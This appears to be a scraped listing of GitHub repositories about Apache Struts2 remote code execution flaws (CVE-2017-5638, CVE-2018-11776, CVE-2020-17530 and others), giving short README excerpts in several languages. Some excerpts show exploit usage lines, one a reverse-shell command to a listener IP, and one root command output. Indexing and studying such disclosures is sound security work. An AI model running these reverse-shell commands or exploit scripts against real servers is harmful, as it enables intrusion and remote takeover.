Computer-Security-Equifax-2017

Educational repo demonstrating real-world software vulnerabilities: Apache Struts2 CVE-2017-5638 RCE, data exfiltration, weak encryption, and mitigation strategies sanitization, monitoring, crypto best practices. Red team vs blue team demo of OS security flaws: exploit, persistence backdoor, and...

CVE-2018-11776

CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

apache-struts2-CVE-2017-5638

apache-struts2-CVE-2017-5638 Demo Application and Exploit Sample Apache Struts2 App Struts2-showcase: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.12 Exploit Reference: https://github.com/rapid7/metasploit-framework/issues/8064...

-CVE-2017-9805-

Vulnerability information Resources: https://vulners.com/cve/CVE-2017-9805 What is this? A python exploit script capable of executing remote commands into the shell of a system hosting a Struts2 vulnerable to S2-052. Usage python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo...

Struts2Shell

Struts2Shell An exploit and library for CVE-2017-5638 - Apache Struts2 S2-045 bug. Installation $ npm install -g struts2shell Installation as Library $ npm install struts2shell Command Line Options -h, --help output usage information -V, --version output the version number -u, --url target URL to...

cybersecurity-struts2

Apache Struts2 Vulnerability | CVE-2017-5638 | Version 2.5 Disclaimer This is meant for educational, and research purposes only. I do not authorize or endorse any illegal or unethical use of this projects contents or information Instructions To run the webapp: java -jar ms-cybersecurity-1.jar use...

CVE-2017-5638-Apache-Struts2

This repository does not have a README...

CVE-2017-5638

PoC for CVE: 2017-5638 - Apache Struts2 S2-045 Hi! I refactored the original script to use requests library, the other libraries were causing some errors to me. Hope it helps! Usage: python3 cve-2017-5638 url cmd-command...

CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c on twitter Working Python test and PoC for CVE-2018-11776, originally appearing on; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC What's going on? Man Yue Mo from Semmle has disclosed an Struts2 RCE vulnerability, delivered ...

CVE-2018-11776

CVE-2018-11776 On August 23, 2018, Apache Struts 2 released its latest security advisory, revealing a high-risk remote code execution vulnerability. Reported by a security researcher from the Semmle Security Research team, this vulnerability is tracked as CVE-2018-11776 S2-057. If the namespace...

CVE-2020-17531

CVE-2020-17530 Apache Struts2 framework is a web framework for developing Java EE web applications. Apache Struts disclosed S2-061 Struts remote code execution vulnerability CVE-2020-17530 on December 08, 2020. When using certain tags and other cases, there may be an OGNL expression injection...

PoC-CVE-2017-5638

PoC: Apache Struts2 CVE-2017-5638 Safe Educational Demo 📌 Overview This project is a Proof-of-Concept PoC for CVE-2017-5638 , a famous Apache Struts2 vulnerability that allowed attackers to execute arbitrary code on affected servers. ⚠️ This repository contains a safe, non-exploitative demo...

CVE-2016-4438

ref: https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037PoC.py https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037CmdToolExP.py...

CVE-2021-31805

CVE-2021-31805 1. Введение POC и EXP для уязвимости удалённого выполнения команд в Struts2 CVE-2020-17530 и CVE-2021-31805 2. Использование Описание параметров -u 目标url -m dnslog|exp //默认有回显界面字符检查 -n s2-062 //默认s2-061 -s windows //默认linux -p 漏洞参数 Проверка с выводом результата Struts2RCE -u...

CVE-2020-17530

CVE-2020-17530 Apache Struts2 est un framework Web pour le développement d'applications réseau Java EE. Apache Struts a divulgué le 08 décembre 2020 la vulnérabilité S2-061 Struts d'exécution de code à distance CVE-2020-17530. Dans certaines conditions d'utilisation de certaines balises, une...

study-struts2-s2-054_055-jackson-cve-2017-7525_cve-2017-15095

Investigation Report on Struts2 Vulnerabilities S2-054, S2-055 and Jackson Vulnerability CVE-2017-7525, CVE-2017-15095 We have published a summarized article that condenses the key points for easier reading. Recommended for those who want to get an overview first or don't have much time. SSTtechl...

CVE-2021-31805

CVE-2021-31805 Удалённое выполнение кода S2-062 CVE-2021-31805 Из-за неполного исправления S2-061 CVE-2020-17530 в Apache Struts2 некоторые атрибуты тегов всё ещё могут выполнять OGNL-выражения. Уязвимость позволяет злоумышленнику сконструировать вредоносные данные для удалённого выполнения...

CVE-2017-5638-Remote-Code-Execution-Apache-Struts2-EXPLOITATION

CVE-2017-5638-Exécution-de-code-à-distance-Apache-Struts2-Exploitation...

S2-046_S2-045_POC

S2-046POC Utilisation : ./s2046.sh url ./s2045.sh url Exemple : 1. chmod +x ./s2046.sh 2. ./s2046.sh http://172.16.152.135/index.action SORTIE : ================Méthode HTTP GET================ uid=0root gid=0root groups=0root context=unconfinedu:unconfinedr:unconfinedjavat:s0-s0:c0.c1023 uid=0ro...

CVE-2017-5638

LAB 1 — Injection OGNL dans Apache Struts2 CVE-2017-5638 / S2-045 I. ANALYSE DU SYSTÈME Analyse de la surface d'attaque Après le démarrage du conteneur, les journaux Struts2 montrent que l'application charge des fichiers de configuration familiers tels que struts-default.xml , struts-plugin.xml e...